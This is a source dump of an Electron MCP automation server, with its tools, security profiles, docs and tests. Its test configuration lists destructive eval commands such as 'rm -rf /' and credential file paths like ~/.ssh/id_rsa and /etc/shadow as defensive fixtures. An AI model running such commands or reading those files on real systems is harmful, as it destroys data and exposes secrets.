// Helper function to check if Electron is installed (global or local)
export async function isElectronInstalled(appPath?: string): Promise<boolean> {
try {
const execAsync = promisify(exec);
if (appPath) {
// Check for local Electron installation in the project
try {
await execAsync('npm list electron', { cwd: appPath });
return true;
} catch {
// If local check fails, try global
logger.warn('Local Electron not found, checking global installation');
}
}
// Check for global Electron installation
await execAsync('electron --version');
return true;
} catch (error) {
logger.error('Electron not found:', error);
return false;
}
}
```
--------------------------------------------------------------------------------
/eslint.config.ts:
--------------------------------------------------------------------------------
```typescript
import js from '@eslint/js';
import globals from 'globals';
import tseslint from 'typescript-eslint';
export default tseslint.config(
{
files: ['**/*.{js,mjs,cjs,ts,mts,cts}'],
languageOptions: {
globals: {
...globals.node,
...globals.es2022,
},
parserOptions: {
ecmaVersion: 2022,
sourceType: 'module',
},
},
},
js.configs.recommended,
...tseslint.configs.recommended,
{
rules: {
'@typescript-eslint/no-explicit-any': 'off',
'@typescript-eslint/no-unused-vars': [
'error',
{
argsIgnorePattern: '^_',
varsIgnorePattern: '^_',
caughtErrorsIgnorePattern: '^_',
},
],
'no-case-declarations': 'off',
'prefer-const': 'error',
'no-var': 'error',
'no-console': 'warn',
},
},
{
files: ['test/**/*'],
rules: {
'@typescript-eslint/no-explicit-any': 'off',
'no-console': 'off',
},
},
{
ignores: ['dist/**', 'coverage/**', 'node_modules/**', '*.config.js'],
},
);
```
--------------------------------------------------------------------------------
/src/utils/electron-process.ts:
--------------------------------------------------------------------------------
```typescript
import { ChildProcess } from 'child_process';
// Electron process management state
export let electronProcess: ChildProcess | null = null;
export let electronLogs: string[] = [];
/**
* Set the current Electron process reference
*/
export function setElectronProcess(process: ChildProcess | null): void {
electronProcess = process;
}
/**
* Get the current Electron process reference
*/
export function getElectronProcess(): ChildProcess | null {
return electronProcess;
}
/**
* Add a log entry to the Electron logs
*/
export function addElectronLog(log: string): void {
electronLogs.push(log);
// Keep only the last 1000 logs to prevent memory issues
if (electronLogs.length > 1000) {
electronLogs = electronLogs.slice(-1000);
}
}
/**
* Get all Electron logs
*/
export function getElectronLogs(): string[] {
return electronLogs;
}
/**
* Clear all Electron logs
*/
export function clearElectronLogs(): void {
electronLogs = [];
}
/**
* Reset the Electron process state
*/
export function resetElectronProcess(): void {
electronProcess = null;
electronLogs = [];
}
```
--------------------------------------------------------------------------------
/vitest.config.ts:
--------------------------------------------------------------------------------
```typescript
import { defineConfig } from 'vitest/config';
import { resolve } from 'path';
import { config } from 'dotenv';
// Load environment variables from .env file
config();
export default defineConfig({
test: {
globals: true,
environment: 'node',
setupFiles: ['./tests/conftest.ts'],
include: ['tests/**/*.{test,spec}.{js,mjs,cjs,ts,mts,cts,jsx,tsx}'],
exclude: [
'**/node_modules/**',
'**/dist/**',
'**/cypress/**',
'**/.{idea,git,cache,output,temp}/**',
'**/{karma,rollup,webpack,vite,vitest,jest,ava,babel,nyc,cypress,tsup,build}.config.*',
'**/setup.ts', // Exclude setup file from being run as a test
],
coverage: {
provider: 'v8',
reporter: ['text', 'json', 'html'],
exclude: [
'node_modules/',
'test/',
'dist/',
'example-app/',
'**/*.d.ts',
'**/*.config.*',
'**/coverage/**',
],
},
testTimeout: 10000,
hookTimeout: 10000,
teardownTimeout: 5000,
},
resolve: {
alias: {
'@': resolve(__dirname, './src'),
'@test': resolve(__dirname, './test'),
},
},
});
```
--------------------------------------------------------------------------------
/tests/integration/react-compatibility/test-react-electron.cjs:
--------------------------------------------------------------------------------
```
const { app, BrowserWindow } = require('electron');
let mainWindow;
function createWindow() {
mainWindow = new BrowserWindow({
width: 900,
height: 700,
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
enableRemoteModule: false,
webSecurity: true
},
show: false
});
// Load the React test app
mainWindow.loadFile('react-test-app.html');
// Show window when ready
mainWindow.once('ready-to-show', () => {
mainWindow.show();
});
// Open DevTools for debugging
mainWindow.webContents.openDevTools();
mainWindow.on('closed', () => {
mainWindow = null;
});
}
// Enable remote debugging for MCP server
app.commandLine.appendSwitch('remote-debugging-port', '9222');
app.whenReady().then(() => {
createWindow();
});
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') {
app.quit();
}
});
app.on('activate', () => {
if (BrowserWindow.getAllWindows().length === 0) {
createWindow();
}
});
// Handle errors silently
process.on('uncaughtException', () => {
// Handle error silently
});
process.on('unhandledRejection', () => {
// Handle error silently
});
```
--------------------------------------------------------------------------------
/src/utils/logger.ts:
--------------------------------------------------------------------------------
```typescript
/* eslint-disable no-console */
export enum LogLevel {
ERROR = 0,
WARN = 1,
INFO = 2,
DEBUG = 3,
}
export class Logger {
private static instance: Logger;
private level: LogLevel;
constructor(level: LogLevel = LogLevel.INFO) {
this.level = level;
}
static getInstance(): Logger {
if (!Logger.instance) {
// Check environment variable for log level
const envLevel = process.env.MCP_LOG_LEVEL?.toUpperCase();
let level = LogLevel.INFO;
switch (envLevel) {
case 'ERROR':
level = LogLevel.ERROR;
break;
case 'WARN':
level = LogLevel.WARN;
break;
case 'INFO':
level = LogLevel.INFO;
break;
case 'DEBUG':
level = LogLevel.DEBUG;
break;
}
Logger.instance = new Logger(level);
}
return Logger.instance;
}
setLevel(level: LogLevel) {
this.level = level;
}
error(message: string, ...args: any[]) {
if (this.level >= LogLevel.ERROR) {
console.error(`[MCP] ERROR: ${message}`, ...args);
}
}
warn(message: string, ...args: any[]) {
if (this.level >= LogLevel.WARN) {
console.error(`[MCP] WARN: ${message}`, ...args);
}
}
info(message: string, ...args: any[]) {
if (this.level >= LogLevel.INFO) {
console.error(`[MCP] INFO: ${message}`, ...args);
}
}
debug(message: string, ...args: any[]) {
if (this.level >= LogLevel.DEBUG) {
console.error(`[MCP] DEBUG: ${message}`, ...args);
}
}
// Helper method to check if a certain level is enabled
isEnabled(level: LogLevel): boolean {
return this.level >= level;
}
}
// Export singleton instance
export const logger = Logger.getInstance();
```
--------------------------------------------------------------------------------
/tests/support/setup.ts:
--------------------------------------------------------------------------------
```typescript
import { logger } from '../../src/utils/logger';
import { TestHelpers } from './helpers';
import { TEST_CONFIG } from './config';
import { mkdirSync, existsSync } from 'fs';
/**
* Global test setup and teardown
* Handles initialization and cleanup that applies to all tests
*/
export class GlobalTestSetup {
/**
* Initialize global test environment
* Called once before all tests run
*/
static async initialize(): Promise<void> {
logger.info('🚀 Starting test suite - Global setup');
try {
// Ensure test directories exist
this.ensureTestDirectories();
// Clean up any leftover artifacts from previous runs
await TestHelpers.cleanup();
logger.info('📁 Test resource directories initialized');
} catch (error) {
logger.error('Failed to initialize test environment:', error);
throw error;
}
}
/**
* Clean up global test environment
* Called once after all tests complete
*/
static async cleanup(): Promise<void> {
logger.info('🏁 Test suite completed - Global cleanup');
try {
const { total } = TestHelpers.getCleanupSize();
const totalMB = (total / (1024 * 1024)).toFixed(2);
logger.info(`🧹 Cleaning up ${totalMB}MB of test artifacts`);
// Perform comprehensive cleanup
await TestHelpers.cleanup({
removeLogsDir: true,
removeTempDir: true,
preserveKeys: false,
});
logger.info('✅ Global test cleanup completed successfully');
} catch (error) {
logger.error('Failed to cleanup test environment:', error);
// Don't throw - cleanup failures shouldn't break the test process
}
}
/**
* Ensure all required test directories exist
*/
private static ensureTestDirectories(): void {
Object.values(TEST_CONFIG.PATHS).forEach((dirPath) => {
if (!existsSync(dirPath)) {
mkdirSync(dirPath, { recursive: true });
}
});
}
}
```
--------------------------------------------------------------------------------
/tests/unit/security-manager.test.ts:
--------------------------------------------------------------------------------
```typescript
import { describe, it, expect, beforeEach } from 'vitest';
import { SecurityManager } from '../../src/security/manager';
import { SecurityLevel } from '../../src/security/config';
import { TEST_CONFIG } from '../conftest';
describe('SecurityManager Unit Tests', () => {
describe('shouldSandboxCommand', () => {
let securityManager: SecurityManager;
beforeEach(() => {
securityManager = new SecurityManager();
});
it('should sandbox risky commands', () => {
TEST_CONFIG.SECURITY.RISKY_COMMANDS.forEach((command) => {
const result = securityManager.shouldSandboxCommand(command);
expect(result).toBe(true);
});
});
it('should not sandbox simple command names', () => {
const simpleCommands = ['get_window_info', 'take_screenshot', 'get_title', 'get_url'];
simpleCommands.forEach((command) => {
const result = securityManager.shouldSandboxCommand(command);
expect(result).toBe(false);
});
});
it('should cache results for performance', () => {
const command = 'test_command';
// First call
const result1 = securityManager.shouldSandboxCommand(command);
// Second call should use cache
const result2 = securityManager.shouldSandboxCommand(command);
expect(result1).toBe(result2);
});
});
describe('Security Level Configuration', () => {
it('should default to BALANCED security level', () => {
const securityManager = new SecurityManager();
expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.BALANCED);
});
it('should allow security level changes', () => {
const securityManager = new SecurityManager();
securityManager.setSecurityLevel(SecurityLevel.PERMISSIVE);
expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.PERMISSIVE);
securityManager.setSecurityLevel(SecurityLevel.STRICT);
expect(securityManager.getSecurityLevel()).toBe(SecurityLevel.STRICT);
});
});
});
```
--------------------------------------------------------------------------------
/tests/support/config.ts:
--------------------------------------------------------------------------------
```typescript
import path from 'path';
/**
* Centralized test configuration
* Contains all test constants, paths, and configuration values
*/
export const TEST_CONFIG = {
// Test resource directories
PATHS: {
TEMP_DIR: path.join(process.cwd(), 'temp'),
TEST_TEMP_DIR: path.join(process.cwd(), 'test-temp'),
LOGS_DIR: path.join(process.cwd(), 'logs'),
ELECTRON_APPS_DIR: path.join(process.cwd(), 'temp', 'electron-apps'),
},
// Test timeouts and limits
TIMEOUTS: {
ELECTRON_START: 10000,
SCREENSHOT_CAPTURE: 5000,
DEFAULT_TEST: 30000,
},
// Security test data
SECURITY: {
RISKY_COMMANDS: [
'eval:require("fs").writeFileSync("/tmp/test", "malicious")',
'eval:process.exit(1)',
'eval:require("child_process").exec("rm -rf /")',
'eval:Function("return process")().exit(1)',
'eval:window.location = "javascript:alert(1)"',
'eval:document.write("<script>alert(1)</script>")',
],
MALICIOUS_PATHS: [
'../../../etc/passwd',
'/etc/shadow',
'~/.ssh/id_rsa',
'C:\\Windows\\System32\\config\\SAM',
'/var/log/auth.log',
'~/.bashrc',
],
},
// Electron test app configuration
ELECTRON: {
DEFAULT_PORT_RANGE: [9300, 9400],
WINDOW_TITLE: 'Test Electron App',
HTML_CONTENT: `
<!DOCTYPE html>
<html>
<head>
<title>Test Electron App</title>
</head>
<body>
<h1>Test Application</h1>
<button id="test-button">Test Button</button>
<input id="test-input" placeholder="Test input" />
<select id="test-select">
<option value="option1">Option 1</option>
<option value="option2">Option 2</option>
</select>
</body>
</html>
`,
},
} as const;
/**
* Create a test-specific temporary directory path
*/
export function createTestTempPath(testName?: string): string {
const timestamp = Date.now();
const suffix = testName ? `-${testName.replace(/[^a-zA-Z0-9]/g, '-')}` : '';
return path.join(TEST_CONFIG.PATHS.TEST_TEMP_DIR, `test-${timestamp}${suffix}`);
}
/**
* Create an Electron app directory path
*/
export function createElectronAppPath(port: number): string {
return path.join(TEST_CONFIG.PATHS.ELECTRON_APPS_DIR, `test-electron-${Date.now()}-${port}`);
}
```
--------------------------------------------------------------------------------
/src/schemas.ts:
--------------------------------------------------------------------------------
```typescript
import { z } from 'zod';
// Command arguments schema for better type safety and documentation
export const CommandArgsSchema = z
.object({
selector: z
.string()
.optional()
.describe(
'CSS selector for targeting elements (required for click_by_selector, click_button)',
),
text: z
.string()
.optional()
.describe(
'Text content for searching or keyboard input (required for click_by_text, send_keyboard_shortcut)',
),
value: z
.string()
.optional()
.describe('Value to input into form fields (required for fill_input)'),
placeholder: z
.string()
.optional()
.describe(
'Placeholder text to identify input fields (alternative to selector for fill_input)',
),
message: z.string().optional().describe('Message or content for specific commands'),
code: z.string().optional().describe('JavaScript code to execute (for eval command)'),
})
.describe('Command-specific arguments. Structure depends on the command being executed.');
// Schema definitions for tool inputs
export const SendCommandToElectronSchema = z.object({
command: z.string().describe('Command to send to the Electron process'),
args: CommandArgsSchema.optional().describe(
'Arguments for the command - must be an object with appropriate properties based on the command type',
),
});
export const TakeScreenshotSchema = z.object({
outputPath: z
.string()
.optional()
.describe('Path to save the screenshot (optional, defaults to temp directory)'),
windowTitle: z.string().optional().describe('Specific window title to screenshot (optional)'),
});
export const ReadElectronLogsSchema = z.object({
logType: z
.enum(['console', 'main', 'renderer', 'all'])
.optional()
.describe('Type of logs to read'),
lines: z.number().optional().describe('Number of recent lines to read (default: 100)'),
follow: z.boolean().optional().describe('Whether to follow/tail the logs'),
});
export const GetElectronWindowInfoSchema = z.object({
includeChildren: z.boolean().optional().describe('Include child windows information'),
});
// Type helper for tool input schema
export type ToolInput = {
type: 'object';
properties: Record<string, any>;
required?: string[];
};
```
--------------------------------------------------------------------------------
/SECURITY_CONFIG.md:
--------------------------------------------------------------------------------
```markdown
# MCP Security Configuration
The MCP Electron server uses a **BALANCED** security level that provides an optimal balance between security and functionality.
## Security Level: BALANCED (Default)
The server automatically uses the BALANCED security level, which:
- Allows safe UI interactions and DOM queries
- Blocks dangerous operations like eval and assignments
- Provides good balance between security and functionality
- Cannot be overridden by environment variables for security consistency
## Security Features
- ✅ Safe UI interactions (clicking, focusing elements)
- ✅ DOM queries (reading element properties)
- ✅ Property access (reading values)
- ❌ Assignment operations (security risk)
- ❌ Function calls in eval (injection risk)
- ❌ Constructor calls (potential exploit vector)
## Usage Examples
Based on your logs, you want to interact with UI elements. Use these secure commands instead of raw eval:
### ✅ Secure Ways to Interact:
```javascript
// Instead of: document.querySelector('button').click()
command: 'click_by_selector';
args: {
selector: "button[title='Create New Encyclopedia']";
}
// Instead of: document.querySelector('[title="Create New Encyclopedia"]').click()
command: 'click_by_text';
args: {
text: 'Create New Encyclopedia';
}
// Instead of: location.hash = '#create'
command: 'navigate_to_hash';
args: {
text: 'create';
}
// Instead of: new KeyboardEvent('keydown', {...})
command: 'send_keyboard_shortcut';
args: {
text: 'Ctrl+N';
}
```
### ❌ What Gets Blocked (and why):
```javascript
// ❌ Raw function calls in eval
document.querySelector('[title="Create New Encyclopedia"]').click();
// Reason: Function calls are restricted for security
// ❌ Assignment operations
location.hash = '#create';
// Reason: Assignment operations can be dangerous
// ❌ Constructor calls
new KeyboardEvent('keydown', { key: 'n', metaKey: true });
// Reason: Constructor calls can be used for code injection
```
## Configuration in Code
The security level is automatically set to BALANCED and cannot be changed:
```typescript
import { SecurityManager } from './security/manager';
// SecurityManager automatically uses BALANCED security level
const securityManager = new SecurityManager();
// Security level is fixed and cannot be changed at runtime
// This ensures consistent security across all deployments
```
```
--------------------------------------------------------------------------------
/src/index.ts:
--------------------------------------------------------------------------------
```typescript
#!/usr/bin/env node
// Load environment variables from .env file
import { config } from 'dotenv';
import { Server } from '@modelcontextprotocol/sdk/server/index';
import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio';
import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types';
import { tools } from './tools';
import { handleToolCall } from './handlers';
import { logger } from './utils/logger';
config();
// Create MCP server instance
const server = new Server(
{
name: 'electron-mcp-server',
version: '1.0.0',
},
{
capabilities: {
tools: {},
},
},
);
// List available tools
server.setRequestHandler(ListToolsRequestSchema, async () => {
logger.debug('Listing tools request received');
return { tools };
});
// Handle tool execution
server.setRequestHandler(CallToolRequestSchema, async (request) => {
const start = Date.now();
logger.info(`Tool call: ${request.params.name}`);
logger.debug(`Tool call args:`, JSON.stringify(request.params.arguments, null, 2));
const result = await handleToolCall(request);
const duration = Date.now() - start;
if (duration > 1000) {
logger.warn(`Slow tool execution: ${request.params.name} took ${duration}ms`);
}
// Log result but truncate large base64 data to avoid spam
if (logger.isEnabled(2)) {
// Only if DEBUG level
const logResult = { ...result };
if (logResult.content && Array.isArray(logResult.content)) {
logResult.content = logResult.content.map((item: any) => {
if (
item.type === 'text' &&
item.text &&
typeof item.text === 'string' &&
item.text.length > 1000
) {
return {
...item,
text: item.text.substring(0, 100) + '... [truncated]',
};
}
if (
item.type === 'image' &&
item.data &&
typeof item.data === 'string' &&
item.data.length > 100
) {
return {
...item,
data: item.data.substring(0, 50) + '... [base64 truncated]',
};
}
return item;
});
}
logger.debug(`Tool call result:`, JSON.stringify(logResult, null, 2));
}
return result;
});
// Start the server
async function main() {
const transport = new StdioServerTransport();
logger.info('Electron MCP Server starting...');
await server.connect(transport);
logger.info('Electron MCP Server running on stdio');
logger.info('Available tools:', tools.map((t) => t.name).join(', '));
}
main().catch((error) => {
logger.error('Server error:', error);
process.exit(1);
});
```
--------------------------------------------------------------------------------
/src/tools.ts:
--------------------------------------------------------------------------------
```typescript
import { zodToJsonSchema } from 'zod-to-json-schema';
import {
SendCommandToElectronSchema,
TakeScreenshotSchema,
ReadElectronLogsSchema,
GetElectronWindowInfoSchema,
ToolInput,
} from './schemas';
// Tool name enumeration
export enum ToolName {
SEND_COMMAND_TO_ELECTRON = 'send_command_to_electron',
TAKE_SCREENSHOT = 'take_screenshot',
READ_ELECTRON_LOGS = 'read_electron_logs',
GET_ELECTRON_WINDOW_INFO = 'get_electron_window_info',
}
// Define tools available to the MCP server
export const tools = [
{
name: ToolName.GET_ELECTRON_WINDOW_INFO,
description:
'Get information about running Electron applications and their windows. Automatically detects any Electron app with remote debugging enabled (port 9222).',
inputSchema: zodToJsonSchema(GetElectronWindowInfoSchema) as ToolInput,
},
{
name: ToolName.TAKE_SCREENSHOT,
description:
'Take a screenshot of any running Electron application window. Returns base64 image data for AI analysis. No files created unless outputPath is specified.',
inputSchema: zodToJsonSchema(TakeScreenshotSchema) as ToolInput,
},
{
name: ToolName.SEND_COMMAND_TO_ELECTRON,
description: `Send JavaScript commands to any running Electron application via Chrome DevTools Protocol.
Enhanced UI interaction commands:
- 'find_elements': Analyze all interactive elements (buttons, inputs, selects) with their properties
- 'click_by_text': Click elements by their visible text, aria-label, or title
- 'click_by_selector': Securely click elements by CSS selector
- 'fill_input': Fill input fields by selector, placeholder text, or associated label
- 'select_option': Select dropdown options by value or text
- 'send_keyboard_shortcut': Send keyboard shortcuts like 'Ctrl+N', 'Meta+N', 'Enter', 'Escape'
- 'navigate_to_hash': Safely navigate to hash routes (e.g., '#create', '#settings')
- 'get_page_structure': Get organized overview of page elements (buttons, inputs, selects, links)
- 'debug_elements': Get debugging info about buttons and form elements on the page
- 'verify_form_state': Check current form state and validation status
- 'get_title', 'get_url', 'get_body_text': Basic page information
- 'eval': Execute custom JavaScript code with enhanced error reporting
IMPORTANT: Arguments must be passed as an object with the correct properties:
Examples:
- click_by_selector: {"selector": "button.submit-btn"}
- click_by_text: {"text": "Submit"}
- fill_input: {"placeholder": "Enter name", "value": "John Doe"}
- fill_input: {"selector": "#email", "value": "[email protected]"}
- send_keyboard_shortcut: {"text": "Enter"}
- eval: {"code": "document.title"}
Use 'get_page_structure' or 'debug_elements' first to understand available elements, then use specific interaction commands.`,
inputSchema: zodToJsonSchema(SendCommandToElectronSchema) as ToolInput,
},
{
name: ToolName.READ_ELECTRON_LOGS,
description:
'Read console logs and output from running Electron applications. Useful for debugging and monitoring app behavior.',
inputSchema: zodToJsonSchema(ReadElectronLogsSchema) as ToolInput,
},
];
```
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
```json
{
"name": "electron-mcp-server",
"version": "1.5.0",
"description": "MCP server for Electron application automation and management. See MCP_USAGE_GUIDE.md for proper argument structure examples.",
"main": "dist/index.js",
"bin": {
"electron-mcp-server": "dist/index.js"
},
"scripts": {
"build": "webpack --config webpack.config.ts --mode production",
"build:dev": "webpack --config webpack.config.ts --mode development",
"dev": "tsx src/index.ts",
"dev:watch": "tsx --watch src/index.ts",
"start": "node dist/index.js",
"watch": "webpack --config webpack.config.ts --mode development --watch",
"watch-and-serve": "webpack --config webpack.config.ts --mode development --watch & node --watch dist/index.js",
"prepare": "npm run build",
"test": "vitest run",
"test:watch": "vitest",
"test:ui": "vitest --ui",
"test:react": "cd tests/integration/react-compatibility && electron test-react-electron.cjs",
"test:coverage": "vitest run --coverage",
"test:security": "npm run build && node test/security-test.js",
"test:clean": "tsx -e \"import('./test/utils/cleanup.js').then(m => m.TestCleanup.cleanup())\"",
"lint": "eslint src/**/*.ts",
"lint:fix": "eslint src/**/*.ts --fix",
"format": "prettier --write \"src/**/*.{ts,js,json,md}\"",
"format:check": "prettier --check \"src/**/*.{ts,js,json,md}\"",
"code:check": "npm run lint && npm run format:check",
"code:fix": "npm run lint:fix && npm run format"
},
"keywords": [
"mcp",
"electron",
"automation",
"desktop",
"model-context-protocol",
"devtools",
"testing",
"ai",
"chrome-devtools-protocol",
"screenshot",
"electron-automation"
],
"author": "Halil Ural",
"license": "MIT",
"dependencies": {
"@modelcontextprotocol/sdk": "^1.0.0",
"@types/ws": "^8.18.1",
"dotenv": "^17.2.1",
"electron": "^28.0.0",
"playwright": "^1.54.1",
"ws": "^8.18.3",
"zod": "^3.22.4",
"zod-to-json-schema": "^3.22.4"
},
"devDependencies": {
"@eslint/js": "^9.32.0",
"@types/node": "^20.19.10",
"@types/webpack": "^5.28.5",
"@types/webpack-node-externals": "^3.0.4",
"@typescript-eslint/eslint-plugin": "^8.38.0",
"@typescript-eslint/parser": "^8.38.0",
"@vitest/coverage-v8": "^3.2.4",
"@vitest/ui": "^3.2.4",
"eslint": "^9.32.0",
"globals": "^16.3.0",
"jest": "^29.0.0",
"jiti": "^2.5.1",
"prettier": "^3.6.2",
"ts-jest": "^29.0.0",
"ts-loader": "^9.5.2",
"ts-node": "^10.9.2",
"tsx": "^4.6.0",
"typescript": "^5.8.3",
"typescript-eslint": "^8.38.0",
"vitest": "^3.2.4",
"webpack": "^5.101.0",
"webpack-cli": "^6.0.1",
"webpack-node-externals": "^3.0.0"
},
"files": [
"dist",
"README.md",
"LICENSE"
],
"engines": {
"node": ">=18.0.0"
},
"repository": {
"type": "git",
"url": "git+https://github.com/halilural/electron-mcp-server.git"
},
"bugs": {
"url": "https://github.com/halilural/electron-mcp-server/issues"
},
"homepage": "https://github.com/halilural/electron-mcp-server#readme"
}
```
--------------------------------------------------------------------------------
/mcp-config.json:
--------------------------------------------------------------------------------
```json
{
"name": "electron-mcp-server",
"description": "Model Context Protocol server for Electron application management",
"version": "1.0.0",
"usage": {
"claude_desktop": {
"config_path": "~/Library/Application Support/Claude/claude_desktop_config.json",
"config": {
"mcpServers": {
"electron": {
"command": "npx",
"args": ["-y", "electron-mcp-server"]
}
}
}
},
"vscode": {
"config": {
"mcp": {
"servers": {
"electron": {
"command": "npx",
"args": ["-y", "electron-mcp-server"]
}
}
}
}
}
},
"tools": [
{
"name": "launch_electron_app",
"description": "Launch an Electron application from a specified path",
"parameters": {
"appPath": {
"type": "string",
"description": "Path to the Electron application",
"required": true
},
"args": {
"type": "array",
"description": "Additional command line arguments",
"required": false
},
"devMode": {
"type": "boolean",
"description": "Launch in development mode with debugging",
"required": false
}
}
},
{
"name": "close_electron_app",
"description": "Close the currently running Electron application",
"parameters": {
"force": {
"type": "boolean",
"description": "Force close the application if unresponsive",
"required": false
}
}
},
{
"name": "get_electron_info",
"description": "Get information about the Electron installation and environment",
"parameters": {}
},
{
"name": "create_electron_project",
"description": "Create a new Electron project with a basic structure",
"parameters": {
"projectName": {
"type": "string",
"description": "Name of the new project",
"required": true
},
"projectPath": {
"type": "string",
"description": "Directory where to create the project",
"required": true
},
"template": {
"type": "string",
"description": "Project template (basic, react, vue, angular)",
"required": false,
"default": "basic"
}
}
},
{
"name": "build_electron_app",
"description": "Build an Electron application for distribution",
"parameters": {
"projectPath": {
"type": "string",
"description": "Path to the Electron project",
"required": true
},
"platform": {
"type": "string",
"description": "Target platform (win32, darwin, linux)",
"required": false
},
"arch": {
"type": "string",
"description": "Target architecture (x64, arm64, ia32)",
"required": false
},
"debug": {
"type": "boolean",
"description": "Build in debug mode",
"required": false
}
}
},
{
"name": "get_electron_process_info",
"description": "Get information about the currently running Electron process",
"parameters": {}
},
{
"name": "send_command_to_electron",
"description": "Send commands to the running Electron application (requires IPC setup)",
"parameters": {
"command": {
"type": "string",
"description": "Command to send",
"required": true
},
"args": {
"type": "any",
"description": "Command arguments",
"required": false
}
}
}
]
}
```
--------------------------------------------------------------------------------
/src/utils/electron-logs.ts:
--------------------------------------------------------------------------------
```typescript
import { exec } from 'child_process';
import { promisify } from 'util';
import { findElectronTarget, connectForLogs } from './electron-connection';
import { logger } from './logger';
export type LogType = 'console' | 'main' | 'renderer' | 'all';
export interface LogEntry {
timestamp: string;
level: string;
message: string;
source: 'console' | 'system';
}
/**
* Read logs from running Electron applications
*/
export async function readElectronLogs(
logType: LogType = 'all',
lines: number = 100,
follow: boolean = false,
): Promise<string> {
try {
logger.info('[MCP] Looking for running Electron applications for log access...');
try {
const target = await findElectronTarget();
// Connect via WebSocket to get console logs
if (logType === 'console' || logType === 'all') {
return await getConsoleLogsViaDevTools(target, lines, follow);
}
} catch {
logger.info('[MCP] No DevTools connection found, checking system logs...');
}
// Fallback to system logs if DevTools not available
return await getSystemElectronLogs(lines);
} catch (error) {
throw new Error(
`Failed to read logs: ${error instanceof Error ? error.message : String(error)}`,
);
}
}
/**
* Get console logs via Chrome DevTools Protocol
*/
async function getConsoleLogsViaDevTools(
target: any,
lines: number,
follow: boolean,
): Promise<string> {
const logs: string[] = [];
return new Promise((resolve, reject) => {
(async () => {
try {
const ws = await connectForLogs(target, (log: string) => {
logs.push(log);
if (logs.length >= lines && !follow) {
ws.close();
resolve(logs.slice(-lines).join('\n'));
}
});
// For non-follow mode, try to get console history first
if (!follow) {
// Request console API calls from Runtime
ws.send(
JSON.stringify({
id: 99,
method: 'Runtime.evaluate',
params: {
expression: `console.log("Reading console history for MCP test"); "History checked"`,
includeCommandLineAPI: true,
},
}),
);
// Wait longer for logs to be captured and history to be available
setTimeout(() => {
ws.close();
resolve(logs.length > 0 ? logs.slice(-lines).join('\n') : 'No console logs available');
}, 7000); // Increased timeout to 7 seconds
}
} catch (error) {
reject(error);
}
})();
});
}
/**
* Get system logs for Electron processes
*/
async function getSystemElectronLogs(lines: number = 100): Promise<string> {
logger.info('[MCP] Reading system logs for Electron processes...');
try {
const execAsync = promisify(exec);
// Get running Electron processes
const { stdout } = await execAsync('ps aux | grep -i electron | grep -v grep');
const electronProcesses = stdout
.trim()
.split('\n')
.filter((line) => line.length > 0);
if (electronProcesses.length === 0) {
return 'No Electron processes found running on the system.';
}
let logOutput = `Found ${electronProcesses.length} Electron process(es):\n\n`;
electronProcesses.forEach((process, index) => {
const parts = process.trim().split(/\s+/);
const pid = parts[1];
const command = parts.slice(10).join(' ');
logOutput += `Process ${index + 1}:\n`;
logOutput += ` PID: ${pid}\n`;
logOutput += ` Command: ${command}\n\n`;
});
try {
const { stdout: logContent } = await execAsync(
`log show --last 1h --predicate 'process == "Electron"' --style compact | tail -${lines}`,
);
if (logContent.trim()) {
logOutput += 'Recent Electron logs from system:\n';
logOutput += '==========================================\n';
logOutput += logContent;
} else {
logOutput +=
'No recent Electron logs found in system logs. Try enabling remote debugging with --remote-debugging-port=9222 for better log access.';
}
} catch {
logOutput +=
'Could not access system logs. For detailed logging, start Electron app with --remote-debugging-port=9222';
}
return logOutput;
} catch (error) {
return `Error reading system logs: ${error instanceof Error ? error.message : String(error)}`;
}
}
```
--------------------------------------------------------------------------------
/src/security/config.ts:
--------------------------------------------------------------------------------
```typescript
import { SecurityConfig } from './manager';
import { logger } from '../utils/logger';
export enum SecurityLevel {
STRICT = 'strict', // Maximum security - blocks most function calls
BALANCED = 'balanced', // Default - allows safe UI interactions
PERMISSIVE = 'permissive', // Minimal restrictions - allows more operations
DEVELOPMENT = 'development', // Least restrictive - for development/testing
}
/**
* Represents a security profile configuration for controlling access and interactions within the application.
*
* @property level - The security level applied to the profile.
* @property allowUIInteractions - Indicates if UI interactions are permitted.
* @property allowDOMQueries - Indicates if DOM queries are allowed.
* @property allowPropertyAccess - Indicates if property access is permitted.
* @property allowAssignments - Indicates if assignments to properties are allowed.
* @property allowFunctionCalls - Whitelist of allowed function patterns for invocation.
* @property riskThreshold - The risk threshold level ('low', 'medium', 'high', or 'critical') for the profile.
*/
export interface SecurityProfile {
level: SecurityLevel;
allowUIInteractions: boolean;
allowDOMQueries: boolean;
allowPropertyAccess: boolean;
allowAssignments: boolean;
allowFunctionCalls: string[]; // Whitelist of allowed function patterns
riskThreshold: 'low' | 'medium' | 'high' | 'critical';
}
export const SECURITY_PROFILES: Record<SecurityLevel, SecurityProfile> = {
[SecurityLevel.STRICT]: {
level: SecurityLevel.STRICT,
allowUIInteractions: false,
allowDOMQueries: false,
allowPropertyAccess: true,
allowAssignments: false,
allowFunctionCalls: [],
riskThreshold: 'low',
},
[SecurityLevel.BALANCED]: {
level: SecurityLevel.BALANCED,
allowUIInteractions: true,
allowDOMQueries: true,
allowPropertyAccess: true,
allowAssignments: false,
allowFunctionCalls: [
'querySelector',
'querySelectorAll',
'getElementById',
'getElementsByClassName',
'getElementsByTagName',
'getComputedStyle',
'getBoundingClientRect',
'focus',
'blur',
'scrollIntoView',
'dispatchEvent',
],
riskThreshold: 'medium',
},
[SecurityLevel.PERMISSIVE]: {
level: SecurityLevel.PERMISSIVE,
allowUIInteractions: true,
allowDOMQueries: true,
allowPropertyAccess: true,
allowAssignments: true,
allowFunctionCalls: [
'querySelector',
'querySelectorAll',
'getElementById',
'getElementsByClassName',
'getElementsByTagName',
'getComputedStyle',
'getBoundingClientRect',
'focus',
'blur',
'scrollIntoView',
'dispatchEvent',
'click',
'submit',
'addEventListener',
'removeEventListener',
],
riskThreshold: 'high',
},
[SecurityLevel.DEVELOPMENT]: {
level: SecurityLevel.DEVELOPMENT,
allowUIInteractions: true,
allowDOMQueries: true,
allowPropertyAccess: true,
allowAssignments: true,
allowFunctionCalls: ['*'], // Allow all function calls
riskThreshold: 'critical',
},
};
export function getSecurityConfig(
